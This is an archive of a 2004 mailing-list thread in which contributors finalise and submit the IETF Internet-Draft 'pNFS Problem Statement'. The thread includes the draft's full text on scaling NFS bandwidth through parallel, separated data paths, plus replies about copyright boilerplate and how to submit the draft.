Date: Fri, 6 Feb 2004 13:35:36 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Have ASCII, approaching submission X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Okay, so with help from many of you we may have an ASCI internet draft. Attached is the file that may be it. Next, the file name. According to ""Guidelines to Authors of Internet-Drafts, Last modified September 5, 2002"", says that we need to get the file name from IETF. Assuming that this is not an NFS document, not yet anyway, we are suggesting the name ""draft-gibson-pnfs-problem-statement-00.txt"". Unless I hear otherwise, I will submit a request for a name, giving this name as a suggestion. garth ----------- test from the Guidelines section ------ For those authors submitting updates to existing Internet-Drafts, the choice of the file name is easily determined (up the version by 1). For new documents, either suggest one or send a message to ""internet-drafts@ietf.org"" with the document title, noting if it is a product of a working group (and the name of the group), and an abstract. The file name to be assigned will be included in a response. Simply add the filename text to the document (ASCII and PostScript versions) and submit the Internet-Draft. If the document is a new one (i.e. starting with revision -00.txt) and is submitted as a working group document, the IETF secretariat will ask the chair(s) of the wg the permission to publish it as a working group document. To expedite the process, authors are encouraged to send the document to internet-drafts@ietf.org and at the same time cc: to the chair(s) of the working group. If the document is accepted as a working group document, then it will have the draft-ietf- file name and will be announced on the working group mailing list by the IETF Secretariat. If the document is not accepted as a working group document, it will be processed as an individual submission, where the filename will be draft--....txt. NOTE: Revision numbers are based on the filename (as in first, second, or third version of this document). If there is a filename change, the version number starts over at -00. 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Begin forwarded message: > From: ""Benny Halevy"" > Date: February 6, 2004 3:11:02 AM EST > To: ""Garth Gibson"" > Cc: ""Benny Halevy"" > Subject: RE: crlf.exe > > Garth, I followed David Black's instructions. > Files attached. > > Benny > Internet Draft Garth Gibson Expires: August 2004 Panasas Inc. & CMU Peter Corbett Network Appliance, Inc. Document: draft-gibson-pnfs-problem-statement-00.txt February 2004 pNFS Problem Statement Status of this Memo This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet- Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as ""work in progress."" The list of current Internet-Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt The list of Internet-Draft Shadow Directories can be accessed at http://www.ietf.org/shadow.html. Copyright Notice Copyright (C) The Internet Society (2003). All Rights Reserved. Gibson et al Expires - August 2004 [Page 1] Internet Draft pNFS Problem Statement February 2004 Abstract This draft considers the problem of limited bandwidth to NFS servers. The bandwidth limitation exists because an NFS server has limited network, CPU, memory and disk I/O resources. Yet, access to any one file system through the NFSv4 protocol requires that a single server be accessed. While NFSv4 allows file system migration, it does not provide a mechanism that supports multiple servers simultaneously exporting a single writable file system. This problem has become aggravated in recent years with the advent of very cheap and easily expanded clusters of application servers that are also NFS clients. The aggregate bandwidth demands of such clustered clients, typically working on a shared data set preferentially stored in a single file system, can increase much more quickly than the bandwidth of any server. The proposed solution is to provide for the parallelization of file services, by enhancing NFSv4 in a minor version. Table of Contents 1. Introduction...................................................2 2. Bandwidth Scaling in Clusters..................................4 3. Clustered Applications.........................................4 4. Existing File Systems for Clusters.............................6 5. Eliminating the Bottleneck.....................................7 6. Separated control and data access techniques...................8 7. Security Considerations........................................9 8. Informative References.........................................9 9. Acknowledgments...............................................11 10. Author's Addresses...........................................11 11. Full Copyright Statement.....................................11 1. Introduction The storage I/O bandwidth requirements of clients are rapidly outstripping the ability of network file servers to supply them. Increasingly, this problem is being encountered in installations running the NFS protocol. The problem can be solved by increasing the server bandwidth. This draft suggests that an effort be mounted to enable NFS file service to scale with its clusters of clients. The proposed approach is to increase the aggregate bandwidth possible to a single file system by parallelizing the file service, resulting in multiple network connections to multiple server endpoints participating in the transfer of requested data. This should be Gibson et al Expires - August 2004 [Page 2] Internet Draft pNFS Problem Statement February 2004 achievable within the framework of NFS, possibly in a minor version of the NFSv4 protocol. In many application areas, single system servers are rapidly being replaced by clusters of inexpensive commodity computers. As clustering technology has improved, the barriers to running application codes on very large clusters have been lowered. Examples of application areas that are seeing the rapid adoption of scalable client clusters are data intensive applications such as genomics, seismic processing, data mining, content and video distribution, and high performance computing. The aggregate storage I/O requirements of a cluster can scale proportionally to the number of computers in the cluster. It is not unusual for clusters today to make bandwidth demands that far outstrip the capabilities of traditional file servers. A natural solution to this problem is to enable file service to scale as well, by increasing the number of server nodes that are able to service a single file system to a cluster of clients. Scalable bandwidth can be claimed by simply adding multiple independent servers to the network. Unfortunately, this leaves to file system users the task of spreading data across these independent servers. Because the data processed by a given data-intensive application is usually logically associated, users routinely co- locate this data in a single file system, directory or even a single file. The NFSv4 protocol currently requires that all the data in a single file system be accessible through a single exported network endpoint, constraining access to be through a single NFS server. A better way of increasing the bandwidth to a single file system is to enable access to be provided through multiple endpoints in a coordinated or coherent fashion. Separation of control and data flows provides a straightforward framework to accomplish this, by allowing transfers of data to proceed in parallel from many clients to many data storage endpoints. Control and file management operations, inherently more difficult to parallelize, can remain the province of a single NFS server, inheriting the simple management of today's NFS file service, while offloading data transfer operations allows bandwidth scalability. Data transfer may be done using NFS or other protocols, such as iSCSI. While NFS is a widely used network file system protocol, most of the world's data resides in data stores that are not accessible through NFS. Much of this data is stored in Storage Area Networks, accessible by SCSI's Fibre Channel Protocol (FCP), or increasingly, by iSCSI. Storage Area Networks routinely provide much higher data bandwidths than do NFS file servers. Unfortunately, the simple array of blocks interface into Storage Area Networks does not lend itself to controlling multiple clients that are simultaneously reading and Gibson et al Expires - August 2004 [Page 3] Internet Draft pNFS Problem Statement February 2004 writing the blocks of the same or different files, a workload usually referred to as data sharing. NFS file service, with its hierarchical namespace of separately controlled files, offers simpler and more cost-effective management. One might conclude that users must chose between high bandwidth and data sharing. Not only is this conclusion false, but it should also be possible to allow data stored in SAN devices, FCP or iSCSI, to be accessed under the control of an NFS server. Such an approach protects the industry's large investment in NFS, since the bandwidth bottleneck no longer needs to drive users to adopt a proprietary alternative solution, and leverages SAN storage infrastructures, all within a common architectural framework. 2. Bandwidth Scaling in Clusters When applied to data-intensive applications, clusters can generate unprecedented demand for storage bandwidth. At present, each node in the cluster is likely to be a dual processor, with each processor running at multiple GHz, with gigabytes of DRAM. Depending on the specific application, each node is capable of sustaining a demand of 10s to 100s of MB/s of data from storage. In addition, the number of nodes in a cluster is commonly in the 100s, with many instances of 1000s to 10,000s of nodes. The result is that storage systems may be called upon to provide an aggregate bandwidth of GB/s ranging upwards toward TB/s. The performance of a single NFS server has been improving, but it is not able to keep pace with cluster demand. Directly connected storage devices behind an NFS server have given way to disk arrays and networked disk arrays, making it now possible for an NFS server to directly access 100s to 1000s of disk drives whose aggregate capacity reaches upwards to PBs and whose raw bandwidths range upwards to 10s of GB/s. An NFS server is interposed between the scalable storage subsystem and the scalable client cluster. Multiple NIC endpoints help network bandwidth keep up with DRAM bandwidth. However, the rate of improvement of NFS server performance is not faster than the rate of improvement in each client node. As long as an NFS file system is associated with a single client-side network endpoint, the aggregate capabilities of a single NFS server to move data between storage networks and client networks will not be able to keep pace with the aggregate demand of clustered clients and large disk subsystems. 3. Clustered Applications Large datasets and high bandwidth processing of large datasets are increasingly common in a wide variety of applications. As most Gibson et al Expires - August 2004 [Page 4] Internet Draft pNFS Problem Statement February 2004 computer users can affirm, the size of everyday presentations, pictures and programs seems to grow continuously, and in fact average file size does grow with time [Ousterhout85, Baker91]. Simple copying, viewing, archiving and sharing of even this baseline use of growing files in day-to-day business and personal computing drives up the bandwidth demand on servers. Some applications, however, make much larger demands on file and file system capacity and bandwidth. Databases of DNA sequences, used in bioinformatics search, range up to tens of GBs and are often in use by all cluster users are the same time [NIH03]. These huge files may experience bursts of many concurrent clients loading the whole file independently. Bioinformatics is an example of extensive search in science application. Extensive search is much broader than science. Wall Street has taken to collecting long-term transaction record histories. Looking for patterns of unbilled transactions, fraud or predictable market trends is a growing financial opportunity [Agarwal95, Senator95]. Security and authentication are driving a need for image search, such as face recognition [Flickner95]. Databasing the faces of approved or suspected individuals and searching through many camera feeds involves huge data and bandwidths. Traditional database indexing in these high dimension data structures often fails to avoid full database scans of these huge files [Berchtold97]. With huge storage repositories and fast computers, huge sensor capture is increasingly used in many applications. Consumer digital photography fits this model, with photo touch-up and slide show generation tools driving bandwidth, although much more demanding applications are not unusual. Medical test imagery is being captured at very high resolution and tools are being developed for automatic preliminary diagnosis, for example [Afework98]. In the science world, even larger datasets are captured from satellites, telescopes, and atom-smashers, for example [Greiman97]. Preliminary processing of a sky survey suggests that thousand node clusters may sustain GB/s storage bandwidths [Gray03]. Seismic trace data, often measured in helicopter loads, commands large clusters for days to months [Knott03]. At the high end of science application, accurate physical simulation, its visualization and fault-tolerance checkpointing, has been estimated to need 10 GB/s bandwidth and 100 TB of capacity for every thousand nodes in a cluster [SGPFS01]. Gibson et al Expires - August 2004 [Page 5] Internet Draft pNFS Problem Statement February 2004 Most of these applications make heavy use of shared data across many clients, users and applications, have limited budgets available to fund aggressive computational goals, and have technical or scientific users with strong preferences for file systems and no patience for tuning storage. NFS file service, appropriately scaled up in capacity and bandwidth, is highly desired. In addition to these search, sensor and science applications, traditional database applications are increasingly employing NFS servers. These applications often have hotspot tables, leading to high bandwidth storage demands. Yet SAN-based solutions are sometimes harder to manage than NFS based solutions, especially in databases with a large number of tables. NFS servers with scalable bandwidth would accelerate the adoption of NFS for database applications. These examples suggest that there is no shortage of applications frustrated by the limitations of a single network endpoint on a single NFS server exporting a single file system or single huge file. 4. Existing File Systems for Clusters The server bottleneck has induced various vendors to develop proprietary alternatives to NFS. Known variously as asymmetric, out-of-band, clustered or SAN file systems, these proprietary alternatives exploit the scalability of storage networks by attaching all nodes in the client cluster to the storage network. Then, by reorganizing client and server code functionality to separate data traffic from control traffic, client nodes are able to access storage devices directly rather than requesting all data from the same single network endpoint in the file server that handles control traffic. Most proprietary alternative solutions have been tailored to storage area networks based on the fixed-sized block SCSI storage device command set and its Fibrechannel SCSI transport. Examples in this class include EMC's High Road (www.emc.com); IBM's TotalStorage SAN FS, SANergy and GPFS (www.ibm.com); Sistina/Redhat's GFS (www.readhat.com); SGI's CXFS (www.sgi.com); Veritas' SANPoint Direct and CFS (www.veritas.com); and Sun's QFS (www.sun.com). The Fibrechannel SCSI transport used in these systems may soon be replaceable by a TCP/IP SCSI transport, iSCSI, enabling these proprietary alternatives to operate on the same equipment and IETF protocols commonly used by NFS servers. While fixed-sized block SCSI storage devices are used in most file systems with separated data and control paths, this is not the only Gibson et al Expires - August 2004 [Page 6] Internet Draft pNFS Problem Statement February 2004 alternative available today. SCSI's newly emerging command set, the Object Storage Device (OSD) command set, transmits variable length storage objects over SCSI transports [T10-03]. Panasas' ActiveScale storage cluster employs a proto-OSD command set over iSCSI on its separated data path (www.panasas.com). IBM's research is also demonstrating a variant of their TotalStorage SAN FS employing proto- OSD commands [Azagury02]. Even more distinctive is Zforce's File Switch technology (www.zforce.com). Zforce virtualizes a CIFS file server spreading the contents of a file share over many backend CIFS storage servers and places their control path functionality inside a network switch in order to have some of the properties of both separated and non- separated data and control paths. However, striping files over multiple file-based storage servers is not a new concept. Berkeley's Zebra file system, the successor to the log-based file system developed for RAID storage, had a separated data and control path with file protocols to both [Hartman95]. 5. Eliminating the Bottleneck The restriction of a single network endpoint results from the way NFS associates file servers and file systems. Essentially, each client machine ""mounts"" each exported file system; these mount operations bind a network endpoint to all files in the exported file system, instructing the client to address that network endpoint with all requests associated with all files in that file system. Mechanisms intended for primarily for failover have been established for giving clients a list of network endpoints associated with a given file system. Multiple NFS servers can be used instead of a single NFS server, and many cluster administrators, programmers and end-users have experimented with this alternative. The principle compromise involved in exploiting multiple NFS servers is that a single file or single file system is decomposed into multiple files or file systems, respectively. For instance, a single file can be decomposed into many files, each located in a part of the namespace that is exported by a different NFS server; or the files of a single directory can be linked to files in directories located in file systems exported by different NFS servers. Because this decomposition is done without NFS server support, the work of decomposing and recomposing and the implications of the decomposition on capacity and load balancing, backup consistency, error recovery, and namespace management all fall to the customer. Moreover, the additional statefulness of NFSv4 makes correct semantics for files decomposed over multiple services without NFS support much more complex. Such extra work and extra problems are Gibson et al Expires - August 2004 [Page 7] Internet Draft pNFS Problem Statement February 2004 usually referred to as storage management costs, and are blamed for causing a high total cost of ownership for storage. Preserving the relative ease of use of NFS storage systems requires solutions to the bandwidth bottleneck that do not decompose files and directories in the file subtree namespace. A solution to this problem should continue to use the existing single network endpoint for control traffic, including namespace manipulations. Decompositions of individual files and file systems over multiple network endpoints can be provided via the separated data paths, without separating the control and metadata paths. 6. Separated control and data access techniques Separating storage data flow from file system control flow effectively moves the bottleneck away from the single endpoint of an NFS server and distributes it across the bisectional bandwidth of the storage network between the cluster nodes and storage devices. Since switch bandwidths of upwards of terabits per second are available today, this bottleneck is at least two orders of magnitude better than that of an NFS server network endpoint. In an architecture that separates the storage data path from the NFS control path there are choices of protocol for the data path. One straightforward answer is to extend the NFS protocol so it can accommodate can be used on both control and separated data paths. Another straightforward answer is to capture the existing market's dominant separated data path, fixed-sized block SCSI storage. A third alternative is the emerging object storage SCSI command set, OSD, which is appearing in new products with separate data and control paths. A solution that accommodates all of these approaches provides the broadest applicability for NFS. Specifically, NFS extensions should make minimal assumptions about the storage data server access protocol. The clients in such an extended NFS system should be compatible with the current NFSv4 protocol, and should be compatible with earlier versions of NFS as well. A solution should be capable of providing both asymmetric data access, with the data path connected via NFS or other protocols and transports, and symmetric parallel access to servers that run NFS on each server node. Specifically, it is desirable to enable NFS to manage asymmetric access to storage attached via iSCSI and Fibre Channel/SCSI storage area networks. As previously discussed, the root cause of the NFS server bottleneck is the binding between one network endpoint and all the files in a file system. NFS extensions can allow the association of additional Gibson et al Expires - August 2004 [Page 8] Internet Draft pNFS Problem Statement February 2004 network endpoints with specific files. These associations could be represented layout maps [Gibson98]. NFS clients could be extended to have the ability to retrieve and use these layout maps. NFSv4 provides an excellent foundation for this. We may be able to extend the current notion of file delegations to include the ability to retrieve and utilize a file layout map. A number of ideas have been proposed for storing, accessing, and acting upon layout information stored by NFS servers to allow separate access to file data over separate data paths. Data access can be supported over multiple protocols, including NFSv4, iSCSI, and OSD. 7. Security Considerations Bandwidth scaling solutions that employ separation of control and data paths will introduce new security concerns. For example, the data access methods will require authentication and access control mechanisms that are consistent with the primary mechanisms on the NFSv4 control paths. Object storage employs revocable cryptographic restrictions on each object, which can be created and revoked in the control path. With iSCSI access methods, iSCSI security capabilities are available, but do not contain NFS access control. Fibre Channel based SCSI access methods have less sophisticated security than iSCSI. These access methods typically use private networks to provide security. Any proposed solution must be analyzed for security threats and any such threats must be addressed. The IETF and the NFS working group have significant expertise in this area. 8. Informative References [Afework98] A. Afework, M. Beynon, F. Bustamonte, A. Demarzo, R. Ferriera, R. Miller, M. Silberman, J. Saltz, A. Sussman, H. Tang, ""Digital dynamic telepathology - the virtual microscope,"" Proc. of the AMIA'98 Fall Symposium 1998. [Agarwal95] Agrawal, R. and Srikant, R. ""Fast Algorithms for Mining Association Rules"" VLDB, September 1995. [Azagury02] Azagury, A., Dreizin, V., Factor, M., Henis, E., Naor, D., Rinetzky, N., Satran, J., Tavory, A., Yerushalmi, L, ""Towards an Object Store,"" IBM Storage Systems Technology Workshop, November 2002. [Baker91] Baker, M.G., Hartman, J.H., Kupfer, M.D., Shirriff, K.W. and Ousterhout, J.K. ""Measurements of a Distributed File System"" SOSP, October 1991. Gibson et al Expires - August 2004 [Page 9] Internet Draft pNFS Problem Statement February 2004 [Berchtold97] Berchtold, S., Boehm, C., Keim, D.A. and Kriegel, H. ""A Cost Model For Nearest Neighbor Search in High-Dimensional Data Space"" ACM PODS, May 1997. [Fayyad98] Fayyad, U. ""Taming the Giants and the Monsters: Mining Large Databases for Nuggets of Knowledge"" Database Programming and Design, March 1998. [Flickner95] Flickner, M., Sawhney, H., Niblack, W., Ashley, J., Huang, Q., Dom, B., Gorkani, M., Hafner, J., Lee, D., Petkovic, D., Steele, D. and Yanker, P. ""Query by Image and Video Content: the QBIC System"" IEEE Computer, September 1995. [Gibson98] Gibson, G. A., et. al., ""A Cost-Effective, High-Bandwidth Storage Architecture,"" International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS), October 1998. [Gray03] Jim Gray, ""Distributed Computing Economics,"" Technical Report MSR-TR-2003-24, March 2003. [Greiman97] Greiman, W., W. E. Johnston, C. McParland, D. Olson, B. Tierney, C. Tull, ""High-Speed Distributed Data Handling for HENP,"" Computing in High Energy Physics, April, 1997. Berlin, Germany. [Hartman95] John H. Hartman and John K. Ousterhout, ""The Zebra Striped Network File System,"" ACM Transactions on Computer Systems 13, 3, August 1995. [Knott03] Knott, T., ""Computing colossus,"" BP Frontiers magazine, Issue 6, April 2003, http://www.bp.com/frontiers. [NIH03] ""Easy Large-Scale Bioinformatics on the NIH Biowulf Supercluster,"" http://biowulf.nih.gov/easy.html, 2003. [Ousterhout85] Ousterhout, J.K., DaCosta, H., Harrison, D., Kunze, J.A., Kupfer, M. and Thompson, J.G. ""A Trace Drive Analysis of the UNIX 4.2 BSD FIle System"" SOSP, December 1985. [Senator95] Senator, T.E., Goldberg, H.G., Wooten, J., Cottini, M.A., Khan, A.F.U., Klinger, C.D., Llamas, W.M., Marrone, M.P. and Wong, R.W.H. ""The Financial Crimes Enforcement Network AI System (FAIS): Identifying potential money laundering from reports of large cash transactions"" AIMagazine 16 (4), Winter 1995. [SGPFS01] SGS File System RFP, DOE NNCA and DOD NSA, April 25, 2001. Gibson et al Expires - August 2004 [Page 10] Internet Draft pNFS Problem Statement February 2004 [T10-03] Draft OSD Standard, T10 Committee, Storage Networking Industry Association(SNIA), ftp://www.t10.org/ftp/t10/drafts/osd/osd-r08.pdf 9. Acknowledgments David Black, Gary Grider, Benny Halevy, Dean Hildebrand, Dave Noveck, Julian Satran, Tom Talpey, and Brent Welch contributed to the development of this problem statement. 10. Author's Addresses Garth Gibson Panasas Inc, and Carnegie Mellon University 1501 Reedsdale Street Pittsburgh, PA 15233 USA Phone: +1 412 323 3500 Email: ggibson@panasas.com Peter Corbett Network Appliance Inc. 375 Totten Pond Road Waltham, MA 02451 USA Phone: +1 781 768 5343 Email: peter@pcorbett.net 11. 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Gibson et al Expires - August 2004 [Page 12] >From ggrider@lanl.gov Fri Feb 06 10:43:54 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 47383 invoked from network); 6 Feb 2004 18:43:54 -0000 Received: from unknown (66.218.66.216) by m4.grp.scd.yahoo.com with QMQP; 6 Feb 2004 18:43:54 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta1.grp.scd.yahoo.com with SMTP; 6 Feb 2004 18:43:53 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i16IgpHR017493 for ; Fri, 6 Feb 2004 11:42:51 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i16IgoeI012727 for ; Fri, 6 Feb 2004 11:42:50 -0700 Received: from cthulu.lanl.gov (vpn-client-187.lanl.gov [128.165.253.187]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i16IgmYi006488; Fri, 6 Feb 2004 11:42:48 -0700 Message-Id: <5.2.0.9.2.20040206114221.01582600@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Fri, 06 Feb 2004 11:42:45 -0700 To: pnfs-reqs@yahoogroups.com, pnfs-reqs@yahoogroups.com In-Reply-To: <4138B0BA-58D3-11D8-825E-000A95A94F04@panasas.com> Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_9928526==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] Have ASCII, approaching submission X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs Thanks Garth for the enormous effort. Thanks to all that helped. Gary At 01:35 PM 2/6/2004 -0500, Garth Gibson wrote: > Okay, so with help from many of you we may have an ASCI internet draft. > Attached is the file that may be it. > > Next, the file name. According to ""Guidelines to Authors of > Internet-Drafts, Last modified September 5, 2002"", says that we need to > get the file name from IETF. Assuming that this is not an NFS > document, not yet anyway, we are suggesting the name > ""draft-gibson-pnfs-problem-statement-00.txt"". > > Unless I hear otherwise, I will submit a request for a name, giving > this name as a suggestion. > > garth > > ----------- test from the Guidelines section ------ > > For those authors submitting updates to existing Internet-Drafts, the > choice of the file name is easily determined (up the version by 1). > For new documents, either suggest one or send a message to > ""internet-drafts@ietf.org"" with the document title, noting if it is a > product of a working group (and the name of the group), and an > abstract. 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If > it is received too late, it will not be published on time for the IETF > meeting. > > Note that if a filename is suggested, but not used, the document will > have to be resubmitted with the actual file name. > > > > Begin forwarded message: > > From: ""Benny Halevy"" > > Date: February 6, 2004 3:11:02 AM EST > > To: ""Garth Gibson"" > > Cc: ""Benny Halevy"" > > Subject: RE: crlf.exe > > > > Garth, I followed David Black's instructions. > > Files attached. > > > > Benny > > > > Yahoo! Groups Sponsor > ADVERTISEMENT > 977749.jpg > 97778f.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From Thomas.Talpey@netapp.com Fri Feb 06 10:54:54 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 65270 invoked from network); 6 Feb 2004 18:54:53 -0000 Received: from unknown (66.218.66.218) by m4.grp.scd.yahoo.com with QMQP; 6 Feb 2004 18:54:53 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 6 Feb 2004 18:54:53 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i16IsRKw010580 for ; Fri, 6 Feb 2004 10:54:28 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i16IsRRj003290 for ; Fri, 6 Feb 2004 10:54:27 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.32]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 6 Feb 2004 13:54:26 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3ECE2.A4505D00"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Fri, 6 Feb 2004 10:53:43 -0800 Message-ID: <5.2.1.1.2.20040206134617.00c3afd0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Have ASCII, approaching submission Thread-Index: AcPs4qTyDQAiLTf+S/uat3b2ahLQIA== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Re: [pnfs-reqs] Have ASCII, approaching submission X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 01:35 PM 2/6/2004, Garth Gibson wrote: >Okay, so with help from many of you we may have an ASCI internet draft. > Attached is the file that may be it. > >Next, the file name. According to ""Guidelines to Authors of >Internet-Drafts, Last modified September 5, 2002"", says that we need to >get the file name from IETF. Assuming that this is not an NFS >document, not yet anyway, we are suggesting the name >""draft-gibson-pnfs-problem-statement-00.txt"". > >Unless I hear otherwise, I will submit a request for a name, giving >this name as a suggestion. I have only one comment - the 1st IETF copyright is the 2003 boilerplate. It needs to be 2004! Interestingly, the second appearance, at the end of the document, is fine - just the first one. I recommend fixing the .txt and not re-formatting. :-) You don't need to submit a request for a name, this is an ""individual"" submission. Your suggested title is the correct form and will be fine, you can go ahead and send it to internet-drafts@ietf.org with the necessary e-cover letter. You'll get an automated response and unless you hear otherwise, it will appear in a few days. Congrats! Tom. >From garth@panasas.com Fri Feb 06 12:47:03 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 6062 invoked from network); 6 Feb 2004 20:47:00 -0000 Received: from unknown (66.218.66.172) by m6.grp.scd.yahoo.com with QMQP; 6 Feb 2004 20:47:00 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 6 Feb 2004 20:47:00 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYNRZZ; Fri, 6 Feb 2004 15:45:37 -0500 Mime-Version: 1.0 (Apple Message framework v612) To: pnfs-reqs@yahoogroups.com Message-Id: <65468135-58E5-11D8-825E-000A95A94F04@panasas.com> Content-Type: multipart/mixed; boundary=Apple-Mail-14--991120022 Date: Fri, 6 Feb 2004 15:45:27 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Fwd: submitting ""draft-gibson-pnfs-problem-statement-00.txt"" an informational internet draft X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson It's submitted -- attached is the text that was finally sent (Tom found a 2003 error and Craig found a missing ""as"") Begin forwarded message: > From: ietfauto@ietf.org (Internet Draft Submission Manager) > Date: February 6, 2004 3:39:52 PM EST > To: garth@panasas.com > Subject: Re: submitting ""draft-gibson-pnfs-problem-statement-00.txt"" > an informational internet draft > Subject: Autoreply from Internet Draft Submission Manager > Reply-To: dinaras@ietf.org > > Greetings: > > This message is being sent to acknowledge receipt of your > Internet-Draft > submission or message to internet-drafts@ietf.org. > If you submitted an Internet-Draft, then it will be posted > on the Internet-Drafts page of the IETF Web site, and an I-D > Action message will be sent to the IETF Announcement List. > > Please note that all Internet-Drafts offered for publication > as RFCs must conform to the requirements specified in ID Nits > (http://www.ietf.org/ID-nits.html) or they will be returned > to the author(s) for revision. Therefore, the IETF Secretariat > strongly recommends that you address all of the issues raised > in this document before submitting a request to publish your > Internet-Draft to the IESG. > > The IETF Secretariat > Internet Draft Garth Gibson Expires: August 2004 Panasas Inc. & CMU Peter Corbett Network Appliance, Inc. Document: draft-gibson-pnfs-problem-statement-00.txt February 2004 pNFS Problem Statement Status of this Memo This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet- Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as ""work in progress."" The list of current Internet-Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt The list of Internet-Draft Shadow Directories can be accessed at http://www.ietf.org/shadow.html. Copyright Notice Copyright (C) The Internet Society (2004). All Rights Reserved. Gibson et al Expires - August 2004 [Page 1] Internet Draft pNFS Problem Statement February 2004 Abstract This draft considers the problem of limited bandwidth to NFS servers. The bandwidth limitation exists because an NFS server has limited network, CPU, memory and disk I/O resources. Yet, access to any one file system through the NFSv4 protocol requires that a single server be accessed. While NFSv4 allows file system migration, it does not provide a mechanism that supports multiple servers simultaneously exporting a single writable file system. This problem has become aggravated in recent years with the advent of very cheap and easily expanded clusters of application servers that are also NFS clients. The aggregate bandwidth demands of such clustered clients, typically working on a shared data set preferentially stored in a single file system, can increase much more quickly than the bandwidth of any server. The proposed solution is to provide for the parallelization of file services, by enhancing NFSv4 in a minor version. Table of Contents 1. Introduction...................................................2 2. Bandwidth Scaling in Clusters..................................4 3. Clustered Applications.........................................4 4. Existing File Systems for Clusters.............................6 5. Eliminating the Bottleneck.....................................7 6. Separated control and data access techniques...................8 7. Security Considerations........................................9 8. Informative References.........................................9 9. Acknowledgments...............................................11 10. Author's Addresses...........................................11 11. Full Copyright Statement.....................................11 1. Introduction The storage I/O bandwidth requirements of clients are rapidly outstripping the ability of network file servers to supply them. Increasingly, this problem is being encountered in installations running the NFS protocol. The problem can be solved by increasing the server bandwidth. This draft suggests that an effort be mounted to enable NFS file service to scale with its clusters of clients. The proposed approach is to increase the aggregate bandwidth possible to a single file system by parallelizing the file service, resulting in multiple network connections to multiple server endpoints participating in the transfer of requested data. This should be Gibson et al Expires - August 2004 [Page 2] Internet Draft pNFS Problem Statement February 2004 achievable within the framework of NFS, possibly in a minor version of the NFSv4 protocol. In many application areas, single system servers are rapidly being replaced by clusters of inexpensive commodity computers. As clustering technology has improved, the barriers to running application codes on very large clusters have been lowered. Examples of application areas that are seeing the rapid adoption of scalable client clusters are data intensive applications such as genomics, seismic processing, data mining, content and video distribution, and high performance computing. The aggregate storage I/O requirements of a cluster can scale proportionally to the number of computers in the cluster. It is not unusual for clusters today to make bandwidth demands that far outstrip the capabilities of traditional file servers. A natural solution to this problem is to enable file service to scale as well, by increasing the number of server nodes that are able to service a single file system to a cluster of clients. Scalable bandwidth can be claimed by simply adding multiple independent servers to the network. Unfortunately, this leaves to file system users the task of spreading data across these independent servers. Because the data processed by a given data-intensive application is usually logically associated, users routinely co- locate this data in a single file system, directory or even a single file. The NFSv4 protocol currently requires that all the data in a single file 